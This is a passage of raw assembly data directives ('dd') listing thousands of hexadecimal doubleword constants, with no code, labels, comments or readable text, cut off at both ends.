8D0803BCh dd 4E25AA97h, 800F43AAh, 0C2E02E1h, 7BA63BAFh, 0BC687180h dd 0B9122439h, 7FA38718h, 78A0541h, 1815453Ah, 0B6351049h dd 0A91C5804h, 2898541h, 99701A40h, 20E20930h, 0B1FE04BAh dd 3C3030D3h, 287190h, 3BE10BB5h, 3F461FAFh, 0D6FCC80Ah dd 24049050h, 988CD838h, 0A8090186h, 688D56EFh, 25188388h dd 0F81DD15Fh, 7AC1B8Ch, 2ED9369Fh, 0D2B9C3DDh, 6024F014h dd 77A386FCh, 1A140F81h, 0E1A9BFF8h, 1EEFE502h, 1BB7F9E0h dd 1DB03503h, 0B0BFE803h, 0B8B52A69h, 8181E0ACh, 5C328Ch dd 5949F5EBh, 79AEFFFh, 2D391E01h, 318A0147h, 43C45BEh dd 90E09880h, 164A2B04h, 3EE32E00h, 0A37DF9B1h, 0DB600040h dd 8CA2ACDFh, 2006E6DDh, 3DF64BF3h, 89B40h, 50980466h dd 300018B7h, 7548BB28h, 1EDF1h, 72FBE636h, 7C19A23Dh dd 0F80C5100h, 556BE2B5h, 2576EEh, 44F2E7BFh, 8F7679BCh dd 4C3C50B9h, 3038417Ch, 0C50065B9h, 556FC419h, 7FE393Eh dd 7CFAA33h, 7D2F83E5h, 67A7E112h, 0EF14200Eh, 6A925D8Dh dd 8C866C00h, 54A5F7D9h, 0E578482h, 0B1CDD6ADh, 2B912DCh dd 6114BEAAh, 0A40154E4h, 0DE065D48h, 0B6D895F8h, 0A26C3239h dd 8C52A358h, 0B8503100h, 344B936Bh, 75F51C9Fh, 25E18133h dd 64872CBCh, 0C4960DCh, 805C3EA0h, 6D1DDBB9h, 6001E2A4h dd 0CB2C0E1h, 0B4048346h, 3BFD436Eh, 0B92F688Ch, 0AE63857Ch dd 76640BC4h, 5863B89Ah, 0C0AF63E0h, 76F85D52h, 621CCEFh dd 8DAA600h, 6962257Ah, 102D48B4h, 0A80750C9h, 8242E4DDh dd 69207D90h, 17383EFh, 0F832B41Eh, 70C23CCAh, 961490BCh dd 3540A41h, 0E383D3B2h, 0A3ACF9C0h, 0DAABD8h, 0A7E5B402h dd 4BF4B614h, 84A2FD2Ah, 114AACA1h, 718078A3h, 0F79251E7h dd 0BF00E217h, 0EDA8E975h, 699EF498h, 0FC9012AFh, 16302A6Fh dd 0C1871161h, 9DA20013h, 7B28E596h, 4649E68Fh, 0C02429B4h dd 0A400CC96h, 7AD02C5Fh, 0C5CA01DDh, 0BD196839h, 48AC2540h dd 1201D9ECh, 16A79285h, 2DDC3194h, 268C246Ah, 14B31184h dd 952FD9h, 86410367h, 9A18FAh, 0FEF79D8Eh, 0CF068CEDh dd 209134F0h, 0B33878A0h, 83248082h, 1A863AC0h, 66330067h dd 0A91CC856h, 5309A5FFh, 13B89E6h, 0A8BC761Bh, 4B8C798Ah dd 823F80A0h, 13613DB2h, 933B0C00h, 1E25C31Dh, 0E4160006h dd 0BE9F022Dh, 88FE8352h, 685FBD2Eh, 0E4BC6941h, 0D5D0E8h dd 40A934B5h, 0AA986AC3h, 59EE69C0h, 0CF82A6h, 4F25ECCBh dd 46FEA3CAh, 0BBF087E0h, 0FD287967h, 4114C97h, 0E88A8C3Ch dd 0E0F07744h, 8682FE27h, 6E7BF003h, 98E52035h, 0EAC5F390h dd 484958BEh, 9D4D32Ch, 5D0326E4h, 0E958418Ch, 5D007FEFh dd 4DAF14F1h, 198DFC83h, 0E8437129h, 75D06026h, 0FC99F5EEh dd 0BF091E1Fh, 222A8904h, 207D2CE8h, 0BE790A58h, 0C8FB4112h dd 438F1040h, 1F25773Eh, 0A4B8C0AEh, 586640A4h, 0EF7DE5A4h dd 49006CB1h, 27E6F0F1h, 572C064Ch, 40422069h, 22B201F3h dd 74E46002h, 68CF2D00h, 2432FD77h, 636F0734h, 249D432Eh dd 0E0F0C286h, 0CAA2BCA0h, 1D3CB556h, 0E6D2078Ch, 34E0C125h dd 0D45F94h, 0B285B1BFh, 3E773B47h, 422461C3h, 54E14850h dd 336134C1h, 0EE6FDCB0h, 95252601h, 7E605B24h, 3449A6h dd 0D5C650FDh, 0CC293EDEh, 0A02894ADh, 0BF0944h, 470EDB73h dd 1E2DC828h, 86518C0Fh, 0AC33B6B4h, 0D5A400B5h, 4DC48967h dd 984C0269h, 383E12D0h, 7F58E4D0h, 648D5878h, 0B577B80h dd 0FD0106BEh, 155C5BA3h, 4060E980h, 0AD42843Ah, 0FE773300h dd 0C97C8872h, 564BBFF2h, 51708020h, 1C4D00D0h, 4F343C77h dd 0F2FE7DBAh, 90245C27h, 2A94050h, 267CFE90h, 44C4BB76h dd 20AC8825h, 8CC1B13Ch, 2C2490CCh, 6050A785h, 0B2840D36h dd 41D26F00h, 0C5BAECB5h, 5E802E0Ch, 4E0A6B0h, 88072438h dd 68FADA64h, 76E04209h, 0FCCC4BAh, 8C39BBC5h, 2D361EF1h dd 0D12BD7C3h, 0C82E793h, 94A40B3h, 3C8A8A5h, 304998Dh dd 1EA20892h, 0CECA0D0h, 0DB25C24h, 712D4F00h, 2088BDCh dd 0ADE02E5h, 2C686AA6h, 0CB8BCC1h, 0D58644h, 0E958452Dh dd 6C6E14C2h, 0ECA552h, 0F35CDB36h, 12871C7Ch, 0A3BBE17h dd 40886025h, 0FABB43C9h, 0A2542A07h, 0C740E4FEh, 9389FD2h dd 0C27B68E0h, 8E04E0A0h, 953271E8h, 20B380DBh, 62A01EB8h dd 144EC800h, 8B9728CEh, 5E750064h, 379D6851h, 7F0302B3h dd 0B8418EB4h, 51BCF294h, 25BC2C70h, 0F7048810h, 74CADB2Ch dd 0C2A47606h, 261D0929h, 30982068h, 0F900CECBh, 22A83FE3h dd 9A261Bh, 9CC4E546h, 18F02BD8h, 348C369h, 0F84BE44Ch dd 2A2FE5B5h, 18F87F19h, 51C54124h, 521301B3h, 8057C1AFh dd 532BD430h, 9404009Bh, 0F043A4DBh, 39C0FDAFh, 9F905044h dd 0D87509AAh, 20987DEFh, 28F403EEh, 82D6C414h, 2D130FB4h dd 39882765h, 0F7AFA320h, 714164BDh, 0FE3D403Bh, 0E40822h dd 38434058h, 0B375BC9Ch, 8828A958h, 0F8AC80D4h, 0CEDBE794h dd 0BF0085F6h, 0E6B26C95h, 31171D6Bh, 76A9A3A5h, 809068A7h dd 0B09041BFh, 801899DBh, 9973215Eh, 6500961Fh, 0B82B0331h dd 22AEE267h, 0C1F07DBFh, 0B718E02h, 0C137E591h, 1D10B974h dd 0E37C02DCh, 56074B18h, 0C0E19659h, 0E20AEE21h, 0A0000E9Ch dd 378D050Dh, 1FFA5A82h, 8152FBBFh, 66037DB6h, 20E180D2h dd 848F9D28h, 3F4C3A6Ch, 0A59FE10Bh, 0F8A29680h, 5E005706h dd 1461F3F0h, 2E65BFE7h, 10601D1Eh, 4C899609h, 0A17460h dd 5EF3BFE5h, 0B27DB5D2h, 6F1EFB06h, 0A629EBA4h, 0E2C100ECh dd 300F9202h, 392511E6h, 68CC10DEh, 6E4C031Fh, 64064B71h dd 6CDAACFAh, 0AFE69205h, 9C4327F9h, 0BB59683h, 0EECDE239h dd 136CB080h, 0F8005DE0h, 5EA98B2Fh, 7303239h, 0BC2740FAh dd 0C0B7A4A3h, 6F6052FCh, 0E1FB433Ch, 0F12D86D9h, 0BC2960h dd 3E964C79h, 8DB485B3h, 7E8060B6h, 19CDFC4Eh, 0D8E81EC8h dd 4973C72Dh, 0ABFAE065h, 0F409A7B9h, 0E860DD0Fh, 3E293308h dd 3201A5E6h, 0E7F626DFh, 0AF62F835h, 7C40C345h, 61B51E03h dd 695F5AE0h, 9C5C3999h, 7C017091h, 0A8850479h, 104AC00Bh dd 0C5F4DD5Ch, 7BC02917h, 28C063ECh, 449CB46Ah, 51050880h dd 2456CCD1h, 64CD10D2h, 37DE80D8h, 4B231A92h, 24C031FFh dd 0C94467Ch, 6399A702h, 3A98448Dh, 7480435Ch, 0CBA56561h dd 9D00C36Ah, 0DFE1C91Eh, 2721AA09h, 0BC912F28h, 2C583376h dd 1E0E71AEh, 0A319092Ah, 0F4887630h, 483E54D8h, 3729C7Eh dd 41AAA904h, 18785885h, 0BA4034B4h, 1FDE76Bh, 0DDE8202Fh dd 82AC964Ah, 60778E49h, 0E2DE4034h, 95720092h, 0FEAF034Bh dd 189B2273h, 0E4913080h, 734D98BCh, 0E2209E10h, 96047F41h dd 0FE295C88h, 433800CEh, 0AA5F405Eh, 4B00564Eh, 494FC760h dd 17DDC39h, 6E0A878Dh, 807C2B3Eh, 0F335FBB9h, 90A6D6F9h dd 7F4444D4h, 0F01DE307h, 75470F81h, 66A3BAF0h, 1820055Ch dd 0C05AF1AEh, 1A902EF0h, 0B850DE24h, 0B161E026h, 68F2CF0Bh dd 884E8D00h, 26091274h, 807C3E5Ah, 38E3E2F6h, 1DF40041h dd 39D8B6AAh, 0DD7973D9h, 9D919E02h, 0F11E0C8Ah, 2BE88390h dd 9BD9D240h, 0EAF3405Dh, 0EBB0F2FDh, 89834500h, 8E687B74h dd 74A54C6Eh, 0B32CB80h, 491F41D8h, 0AF0EA6h, 0FA025A0Ch dd 0B67810h, 0BEE19F7Eh dd 8DB7DED3h, 246E62Dh, 71FD4120h, 0B911C4h, 63CA4E95h dd 78D4A7DDh, 4010BE41h, 60476232h, 0B0362B00h, 0F4FEB9ADh dd 8A0B30A4h, 0BEE2DF94h, 0A89EE27h, 0C5670004h, 457AC6A0h dd 463E2479h, 7BC00C14h, 0D90011C9h, 20D14961h, 244D14BEh dd 0C5E4AE6Bh, 82D0F06Dh, 272EE53Eh, 248406A3h, 0FFD70061h dd 8E333AC4h, 0C000712Ah, 6ADD68F9h, 3175CDA9h, 1DE1B7A4h dd 0F86DAEh, 4E9CE762h, 3FAA8811h, 1C0F12E6h, 0E8412EFEh dd 6013684Ah, 0F54B85BCh, 6C309C53h, 0B7ED35h, 0E4A83A1h dd 3140F02Fh, 720055E0h, 3ABBCCE8h, 9094EE03h, 2EF098C8h dd 49B44EF3h, 508A2004h, 0C13CC094h, 168C16EEh, 84CE2D8Fh dd 0E3F8249Ch, 0CFB93C6Ch, 41674801h, 3C6D8D58h, 0F548E500h dd 312794C0h, 0EAD2E200h, 0ADFA56E4h, 7A4A121h, 0E585B438h dd 6878C709h, 91C6AE8Fh, 8A904F03h, 11007AA3h, 0E25C56C0h dd 289872h, 51F9F294h, 42EE2A58h, 0C8612B4Ah, 9C7762A7h dd 0C563417Ch, 9253103h, 2D5830C4h, 5FFFE401h, 86556143h dd 6626D47Ch, 39CB01A8h, 2975071Dh, 1A231754h, 0E5939802h dd 84806126h, 1B02A10h, 0AE2EEC7Ch, 55465C9Ah, 48140039h dd 3C3898F1h, 8EEED937h, 25510400h, 0D3CC7161h, 40A84A42h dd 0D9A56650h, 0A3022916h, 0D94618Ah, 0C19882E7h, 80BF10AAh dd 0A3A67688h, 0EFCEA050h, 1F0BA2Ah, 52AB563Eh, 2BCF951Eh dd 357B1421h, 4A0CDFCh, 277329FBh, 0F180AB38h, 0EE1024BFh dd 0D9B601EEh, 479916C9h, 3ED88C54h, 4588713Ah, 0B3EC0486h dd 1F745854h, 0D1176408h, 0FD78F830h, 114A268Dh, 5E5B0067h dd 73E4DA5Dh, 8078E559h, 71E99A51h, 9F4C0B8Ch, 0CC90963Fh dd 85F288E3h, 3D847E12h, 0D1EC2416h, 0B6D0405Eh, 0DFECFB78h dd 860080FAh, 0A3B77BEh, 0F411CBF0h, 53A60105h, 6836FB46h dd 45702114h, 265CF604h, 3E011791h, 6ACA2BA8h, 0F03329D5h dd 186524h, 9DBADF86h, 68750ADBh, 8EB15805h, 14CD26F7h dd 92E4F8h, 0D450CA6Ah, 6304B14Ch, 2A62F201h, 0BC12698Bh dd 0D0C7CC2Dh, 24858047h, 2A3A6FB7h, 9099A4B4h, 0F32B2540h dd 0C17902C2h, 0CCAE1EA1h, 67078C72h, 0FAB5A6F7h, 0AAF47A10h dd 0DDF83E2Eh, 479C992Ch, 264950D7h, 0A200DE70h, 6F159E65h dd 3E773F7h, 0DD2DEC0Eh, 80122F02h, 2824A476h, 9A38EC80h dd 720C078h, 216ABCAEh, 759EED0Ah, 342414BEh, 0E5960E01h dd 0F4225F93h, 52F02618h, 6112A05Dh, 20E2F2F6h, 81963200h dd 0B4D5976h, 100B479h, 0F72A3C04h, 0B8F07A7h, 0A5E4776Bh dd 0E9439849h, 89E2CCC5h, 0FD2FA703h, 8F0DDB0Ah, 0A8AC91D1h dd 4F0FA078h, 0FB467D10h, 0C8B0A183h, 0C37B40B0h, 138F2C19h dd 56EA09B0h, 8C02608Ch, 0C91C2AFh, 0A7A1006Eh, 97E8F83Fh dd 0B7EC0090h, 0E3FEC400h, 77B54D87h, 0A3B13064h, 50A5CC98h dd 0B3793505h, 0C4E027ECh, 8B2B0403h, 80BDBADEh, 132A2112h dd 0C001FB4Bh, 0C0AE3DCCh, 0E06150E3h, 46C992Ah, 0E33FAF09h dd 6F1007C0h, 0BA10DDECh, 0B4FD4BD0h, 2E248988h, 0AB37CE8h dd 0A38EF116h, 0CFEEFC20h, 3EAA00E3h, 6FFAA9F7h, 5100B559h dd 407328B9h, 23CD421h, 1EB1F3E9h, 1CC02BECh, 28B041F1h dd 0B45FC67Dh, 6E318020h, 0C29A00E2h, 0B065FECEh, 0D84DE462h dd 708D09F4h, 412C8189h, 3C2DAC07h, 7C3F4576h, 8E14833Ch dd 4710C8AFh, 0F6600F9Fh, 0C4606ED0h, 4C5931B8h, 0ACE99B01h dd 0CCAFB485h, 672EE462h, 8CC5138Bh, 5C1C7EC0h, 801BCC1h dd 88E63336h, 7D622D4h, 0F7DAA10Fh, 8580157Ch, 9110F53Ch dd 0A700B440h, 0F41C3D1h, 0F97FFF06h, 9875A800h, 72EB9F86h dd 68F0059Bh, 0E2FDAE6Eh, 13BA2364h, 77650C4Fh, 370EB0E9h dd 29917DCh, 8B41B9DFh, 422464B0h, 3E7922DDh, 5780E526h dd 7AC7D01Eh, 3E00ACDCh, 786C70CDh, 2CC1FDA6h, 11D085E6h dd 7A8C18ABh, 0F0248149h, 2DBEF217h, 0E018AA7Bh, 3C00FDD1h dd 48DEF995h, 0BEE659h, 0E8FE3817h, 77C0DD26h, 24800E05h dd 4C1E4205h, 9FB0022h, 0E0601422h, 100B5E5h, 3EFD96A0h dd 1BCBD8Bh, 0F8E802ADh, 396571F5h, 1CC10058h, 0E0510919h dd 0E9C74CB7h, 36CE007Ch, 0F9ED28CBh, 0FA01B80Eh, 0E46AF6E7h dd 0B0414F0Ch, 0CD097DC5h, 0A7B91185h, 0A0AF98C8h, 991908h dd 0C1290305h, 0EA90A89h, 63620800h, 0BEF94DECh, 0B324A18Ah dd 0E2FCC50Dh, 40B4ACD8h, 637C0387h, 0DBA7AB81h, 0E47C8C35h dd 2CE67280h, 4209459Fh, 84C41749h, 0D885D4D8h, 0B00474E2h dd 0C21FF958h, 5CF2CE2Ch, 46059898h, 3D5A3EE6h, 0E5C5CC80h dd 45BC0339h, 2E412432h, 3DE04175h, 0DB8948A0h, 0AFF19204h dd 5895AEF7h, 460BB4A3h, 0FC82891Ch, 1DE09277h, 0AF04420Bh dd 0A85FB296h, 0C0523493h, 0AD0E1Bh, 0C52CBDABh, 0B4EC6AA0h dd 8066A93Dh, 0B2BA4EE5h, 76BD2A68h, 6A111367h, 718D761h dd 0E869E17Eh, 58B8A429h, 0B0B2FD13h, 0BF90B921h, 0B2510A82h dd 0B089B285h, 187586D4h, 3E7D2874h, 6EF86262h, 3BFD2283h dd 0F5E810h, 9BF3300Bh, 0A3BBC167h, 0B6A67508h, 0C4B9007Dh dd 0C0AFF051h, 38782Ch, 5EBBA385h, 12A08CC3h, 93F9AE29h dd 20208330h, 804C275Dh, 8400804Eh, 0D9E34DCFh, 7E4526B5h dd 0C71B0894h, 510420D6h, 8481A26Ch, 602B84D8h, 760CC428h dd 50436B00h, 746F8F29h, 0EAE3031Eh, 1DF72B83h, 0C86107FAh dd 73B42024h, 0D181EE00h, 0AE370A8Dh, 0E0BE3EE5h, 1C98BB26h dd 7B9AC929h, 8401DC5Ah, 0D05DCDB7h, 202FFEAEh, 0B3A3C128h dd 34D88664h, 0F92F0606h, 92A0E858h, 0FD2148E6h, 36642026h dd 0F090964Bh, 0F9003FD1h, 0FF3A734Ch, 4E5A3D15h, 0B698204Bh dd 0EC00B736h, 58C49C07h, 2C94A2Fh, 0AB9F08Ch, 0C4C15685h dd 8B9450FEh, 7C50733Eh, 0F192F8h, 0C520358h, 6AFB4C01h dd 0DF81B229h, 410641CCh, 0A5DA4088h, 0A492518Eh, 76112601h dd 996CDF3Eh, 2B3F0432h, 60F95F80h, 569A1EF4h, 11C6E803h dd 0CC4DEF2Fh, 690058A6h, 2067B62Ah, 224DAB9h, 0A308B0B2h dd 46F8023h, 6568D360h, 59B1D660h, 3E732Fh, 1757B81Ch dd 1EF11470h, 0D1E99302h, 0E06798F5h, 3DFD90h, 715F15D7h dd 0E6130470h, 2B51EF14h, 0BE670BD8h, 0BD08824Fh, 0F928506Ah dd 0A6B27094h, 0C5346850h, 0E2A57689h, 0C15440B0h, 4BEC6F53h dd 0AD0004CAh, 0A6411225h, 6C009CA5h, 0D3CA51EDh, 4A35D9Fh dd 896AB667h, 0ACB98Dh, 6E5A2C98h, 24788455h, 550DB9Ah dd 44AFBBBh, 1D8AFAD8h, 86E49165h, 0B2807C7Ch, 887D1130h dd 0D1006773h, 1E5648FEh, 693FABA9h, 1CE3A13Dh, 7C7E209Ch dd 0C3A701BBh, 5DD586DBh, 82F04454h, 67207FFCh, 2F6BCB3h dd 0FF0EB819h, 44D96C68h, 4B9E1800h, 0DD50AFh, 553B7EE4h dd 83392D8Fh, 704AA4BEh, 88F9EA05h, 0B3EFDD83h, 4E2C64EEh dd 5818F848h, 81A8C0F8h, 0BE4A9Ch, 9003F7E5h, 9EFC4185h dd 2B8FC4A8h, 1CD0F84Ah, 5888134Fh, 24C524C5h, 0BCDCC806h dd 0CE4F8F05h, 9C21084Bh, 9E0F68Bh, 9E209A67h, 109B4770h dd 61FA8CABh, 2A00B0FEh, 0F9CE01CCh, 0F0C5269h, 24569496h dd 90534D89h, 5B8AC780h, 1B8DFFh, 0B6C81DBAh, 0A6023F39h dd 0BC079C91h, 1E64C373h, 470E48F3h, 55602AA9h, 1770B3FBh dd 4B2BCEEh, 6967B502h, 0C980C1AEh, 76DA7690h, 61C4444Ch dd 7C40058Ch, 6295E23Dh dd 0FE41117Eh, 8D425C7Ch, 58EC4869h, 7B28C93Eh, 6E8F2CD3h dd 0A0B900BFh, 961D3Eh, 8F586089h, 0BCDA7ABBh, 34C8884Eh dd 0DD721D0Dh, 5FC147BEh, 4C6A005Ch, 4011E94h, 31AC09EBh dd 0DC4405A4h, 4F0318B9h, 81BCDF90h, 0F0C0B080h, 7073244Eh dd 7020E5AEh, 136F14FAh, 9546F3A5h, 0D9A68680h, 0BC562400h dd 0D13AC3E0h, 4A0B268h, 0BD31B884h, 1CA4818Ah, 13FE1288h dd 17802EE1h, 10226860h, 915F6FBEh, 88903480h, 0F900DB48h dd 7F14C482h, 38ED191Ah, 147528A9h, 440141C1h, 4E77D85Ch dd 0A2380269h, 8840D247h, 852DBE43h, 3864B4h, 749A195Eh dd 0DE0B7866h, 49EE3A09h, 34D17Eh, 2B60ADC8h, 0CD057529h dd 0C2765FA2h, 0E452E453h, 90C0B094h, 7CA6C8F4h, 5B40F6E5h dd 0DF58478Ch, 7910099h, 0DE00F5B7h, 96460D1Eh, 16FF4C90h dd 0B985A29h, 0F005A560h, 0DCB020F8h, 6604E911h, 0E5D955C6h dd 588940B0h, 0E0530B3h, 70FB4Bh, 0AE8E057Ch, 1096BA4h dd 2AAD9868h, 0A61D602Ch, 0CA884B22h, 173E7B40h, 284E00F3h dd 64EB6CFBh, 0ECECFAh, 5E8F2F54h, 0A78D0C41h, 84CC3D13h dd 9BDF6861h, 9489E845h, 0E99CCCh, 0E00831E1h, 0FDAF5102h dd 32677444h, 23B81C6Bh, 85421E20h, 20A8987Ch, 581F7BD5h dd 419366E1h, 0D82F2804h, 0A444AD5Dh, 1B097E00h, 49913A37h dd 4F360026h, 56A4BCD7h, 2909088Ch, 0E468837Eh, 0A66C0094h dd 7BBD49B1h, 6D002DD8h, 85C0059Fh, 2D51FCC2h, 34CCD42Ch dd 25E9C400h, 5511071Dh, 17BFE4Bh, 54FDF380h, 609112AAh dd 0C600E45Dh, 0FE1EA341h, 74382B5h, 0E57BFB5Fh, 0EC4024CEh dd 0ED8480F4h, 407A216h, 0EDD2FF6h, 1100BCC8h, 0B782389h dd 0B84BBB2Bh, 0EC461009h, 0A4D4A000h, 1B51F465h, 9DB7002Bh dd 784186CBh, 3A1667C2h, 0A400CCCDh, 0E5BBC98Fh, 0B722F0A5h dd 0DA88A038h, 2E52080Bh, 2F988256h, 0E58C0446h, 1FEBC04Ch dd 309AE200h, 6635D2C7h, 9F411879h, 0FC43380Ah, 0BB64B0h dd 0C54709h, 0EC1CA65Bh, 18980053h, 473FF71h, 7712960Dh dd 0C890601Fh, 73F2A27h, 1A4870F5h, 9BFDC0CEh, 6A7FC1C7h dd 628B0E0Bh, 30C400D8h, 0B8D3FABEh, 678F440Ch, 3800ECA6h dd 775D5F13h, 77EC01C7h, 0D7D90456h, 805CA292h, 0BA76DBB4h dd 0FD40DCB4h, 2E0BD41h, 8C1E9593h, 10D48860h, 596C88Bh dd 4CAC3FBBh, 47BA1298h, 0ED072603h, 7D2F9783h, 417C4038h dd 0BA0B70B3h, 5E8804BFh, 0DCF30302h, 0A5108440h, 3BECB1h dd 0CF537EF7h, 5C4ACC0Bh, 8C589CB6h, 0B109D44Ch, 60FADBECh dd 47B3D21h, 0C12B9819h, 63413E6Ch, 0C38127B4h, 0C0B7AD1Ch dd 93F01100h, 0B74A722Ch, 150FD14h, 0FA5101EAh, 0C9BF3317h dd 128642C8h, 0A159F061h, 3AC2C660h, 1900ACC5h, 20A8C6ECh dd 0F8CDE255h, 82FA02E3h, 0F80331D0h, 0E7638460h, 1E3ABF04h dd 9CE4A5F7h, 4C60007Eh, 0AE4004A8h, 489C7DC2h, 3824C052h dd 408D4F03h, 0DFE50F4h, 4CE4841Dh, 6D694D00h, 0F3AFBCEDh dd 17E9E6ACh, 0C8E81E59h, 4D0029ECh, 0F8D46A58h, 1E1C50F3h dd 3814AEh, 2B045D27h, 0D95D629Dh, 48C0CAB8h, 0BC83BA90h dd 0E2DD75CFh, 90FE213Ch, 84CA81A4h, 586D98E3h, 0A91B9002h dd 8C0C63Eh, 13009620h, 5E30C968h, 0B4ED4024h, 0E63540A4h dd 6601D6D2h, 7560E374h, 0F5D07D9Bh, 878C010Dh, 0E770C02Eh dd 34032A67h, 0A3F4234Dh, 25CE9862h, 1F2012BEh, 0E1AC3026h dd 6E1D7F81h, 7443A43Bh, 0D80B551Eh, 128E19h, 57C34E09h dd 16042168h, 0BCD43609h, 0B0D8D80Ch, 0C38C44F8h, 80F051D2h dd 0B0F0B057h, 0EDD11288h, 4A226h, 2EACB43Bh, 25FA6Fh dd 8180D7C2h, 492F1426h, 0BAD36800h, 38290FDAh, 44FD5E4Eh dd 0B10624D8h, 88306F2Ch, 69CC01h, 1A9373FAh, 8379B5E6h dd 0D8BCCE5Ah, 0A5130900h, 6F69DF18h, 5B842A16h, 32B0E4h dd 2128165Fh, 6F27245Dh, 0FE59C600h, 0AF0D1F06h, 4BE43A69h dd 1C72D7D1h, 1BBC5000h, 0C7AA480Ch, 283DFA04h, 0F8ACFDF6h dd 5F22847Fh, 0D565010Ch, 20D12DF4h, 2A70F4C8h, 98691E04h dd 0AE094659h, 4F1704D1h, 247C8041h, 78443338h, 2B5E0F4h dd 0AC9C27F6h, 0DB20AB99h, 3397EE2h, 55F02F04h, 69E3B6ADh dd 7A4017A9h, 1E2BA802h, 484A0E7h, 363738Ah, 0F0E07B7Ch dd 0C98ADDC8h, 986A0860h, 5A34A095h, 2ECB22ECh, 4070A388h dd 0E4C05EE8h, 8079570Ch, 704A5089h, 0C9544E43h, 402FFA50h dd 0A9C6AAA4h, 55E600F2h, 573E6876h, 0F0B8883Ch, 80B05491h dd 0A6EEA9Bh, 6DA3BADAh, 884C80B8h, 42094362h, 0C0083B9Fh dd 604E3Ah, 0D2F63F7Ch, 863D9765h, 58AE1E28h, 74E1A40Eh dd 483B40F3h, 0FE6D4FB5h, 1E340BF1h, 64F14B1Ah, 0B51D8B06h dd 0DE2C31A0h, 3A014161h, 977D4028h, 65DD7D60h, 4AF74500h dd 0ECC130DEh, 986E279Bh, 267F1CA0h, 0F22F15CEh, 0DD208114h dd 326F2440h, 0B211F488h, 123E4ECDh, 0ABD430E8h, 0DA078902h dd 0DD4CF546h, 4B1EA070h, 39BEE7F6h, 76270103h, 0BD883F7h dd 0A54AE41Bh, 0D95408D0h, 4EC00057h, 0ABB975B5h, 0CA1F5B78h dd 1D8B0DD2h, 0E40C6468h, 821800EEh, 0A640F111h, 6904158Dh dd 8ADD12A9h, 39C408BDh, 0F88F0A6Fh, 80A3CF6Fh, 0EA88F367h dd 7C7FEC2Bh, 0FCC3388Bh, 3F804CBh, 5718C289h, 90F49B24h dd 5B80166h, 18D7A1B7h, 92D20ADh, 869C0809h, 4AC0D8B2h dd 31C41FCh, 306E9EF5h, 7F168544h, 0BCB3C265h, 419D503Eh dd 394B004Ch, 182B02ACh, 8ABA6913h, 1DB2CC8Ch, 284B8143h dd 3FF322ACh, 0B037A49Bh, 8447914Fh, 43A02D0Dh, 66840CE8h dd 0FED43Ch, 0BA42F8FAh, 0A189BBB9h, 10BF881Ch, 0A08C2FC2h dd 589CD710h, 0B829026Ch, 99F87815h, 6DFBD4C0h, 3A762240h dd 0D85AB5A2h, 4801B85Ch, 0D1C7F682h, 89C92CF7h, 24701AD9h dd 4040BEB2h, 0B65B2572h, 8602427Dh, 0BB7641A8h, 40BC76E1h dd 799A9508h, 15F3CCE9h, 0E4363805h, 0FCB7FD83h, 0E028204Bh dd 8D005618h, 0F274F85Eh, 3CBB9Eh, 79962D14h, 7565398Ah dd 0FD18AF04h, 8A0D351h, 45B4A610h, 2542880h, 3EFB4366h dd 9BF422B9h, 0A9409454h, 27B5AC9h, 0DF83FF58h, 0B4E0FD20h dd 0C0C20FAFh, 0D991577Ah, 77BE8880h, 80D08C14h, 0B913DBCDh dd 0F8370929h, 0F090A5FDh, 8A0F6836h, 0E28003E6h, 0C3EFEDF3h dd 8B980243h, 0C2E2FB41h, 0EF70520h, 943800ABh, 9D13CADCh dd 1E50016Eh, 0E5007ABCh, 0D1E11126h, 0B19AB410h, 775100F8h dd 0BD69C94Eh, 20930A25h, 372A0234h, 0B70710Eh, 0DD1C1562h dd 0A8D98062h, 56C0003Ah, 6DFF6E7Ah, 3FAD098Fh, 54194E2Eh dd 0E5031125h, 0AF858840h, 3A84A0C4h, 0CEE49641h, 4A9790E0h dd 7B006DFEh, 50C2B3B0h, 0D83071h, 890B5B5Eh, 526491A5h dd 438D0C11h, 62C40D00h, 240960B7h, 0CAF5F004h, 54F5423Eh dd 0A828206Eh, 0C7000F93h, 4352502Ah, 0F9BEABFEh, 6FA8316Eh dd 5072F8B5h, 0A4EDD600h, 122FD2ABh, 0A6AC3E0Ah, 5B824C0Bh dd 872454C4h, 0A2605840h, 17103FF2h, 315566h, 0E9B23D4Ch dd 0F3254125h, 144C89h, 0B04FCAD2h, 3DC5E134h, 0AF00B5F8h dd 97AA9942h, 28AD12FCh, 329CDB39h, 6F7057E7h, 811D10F1h dd 84BE2222h, 9DD41D50h, 18248E03h, 3EC6AE13h, 0A00E4479h dd 9193DB88h, 10C3C2C0h, 16D1F8E8h, 16BF18DEh, 0F9AC8848h dd 5C28A24Bh, 61DA002Dh dd 0B8EA410Fh, 2C017C3Eh, 0DDA17883h, 207B43FEh, 0C6D14850h dd 0C77A1A24h, 0EB432D1Ch, 0BE00430h, 602496A8h, 0A3B78490h dd 0B8D00900h, 7D516DDh, 0EC21032Bh, 0EAFBB1F2h, 925D8DD0h dd 12AC1E50h, 0BA412913h, 0A48FE888h, 1A520984h, 8049B96Fh dd 8402F65h, 2486D7F6h, 71490B4Dh, 8580C6E4h, 40A8C0AEh dd 10AB74A1h, 0F0FF04h, 9CED126Fh, 0FE3CB1DFh, 832A6907h dd 61E7C168h, 803EA6F1h, 6B10A07Dh, 0F8214B22h, 34C4CFCEh dd 827E00FFh, 0E3293CD6h, 6298534Ah, 0F0A3300Ah, 1A09F02Eh dd 8228187Dh, 569B096Ah, 1464FD1Eh, 6B43FA00h, 0EF99DCF2h dd 80A3007Ah, 124B53D8h, 0DE058FAAh, 84EA81B0h, 0AE12BCE2h dd 0CAC8A2CCh, 1E85F488h, 70E067B5h, 8028BE5Fh, 1AE04531h dd 0E3A4692h, 269C4D8Dh, 1E958CBEh, 52409B8h, 1A8051D8h dd 38F1F9ADh, 7700CA1Fh, 0B9651D04h, 0EDDD0061h, 0EA8AE62Fh dd 0D000BADFh, 0F3EF1226h, 0FC247AB6h, 98109742h, 189031ECh dd 34B44090h, 0F60DAD40h, 0FBDC002Fh, 47BCA1B9h, 0ED0E611Ch dd 6BEA13B2h, 64CCC168h, 4C201802h, 4FBF1E03h, 7864882Dh dd 0AD5A2405h, 0D080DB9Dh, 16F11D05h, 35332D86h, 8EA780E4h dd 81DD56Ah, 34976EA0h, 10804F2h, 2A89BEA7h, 106E4Bh, 9571E135h dd 9247A7B5h, 57E8A900h, 22EAADA3h, 8A7B053Eh, 2C014B11h dd 13007DA0h, 542A0964h, 4D93A20h, 0B5EFA9EAh, 484CB8D2h dd 9C7C02Ch, 3DE830Eh, 0A0BB3E8Ah, 6C98BED5h, 250FACBFh dd 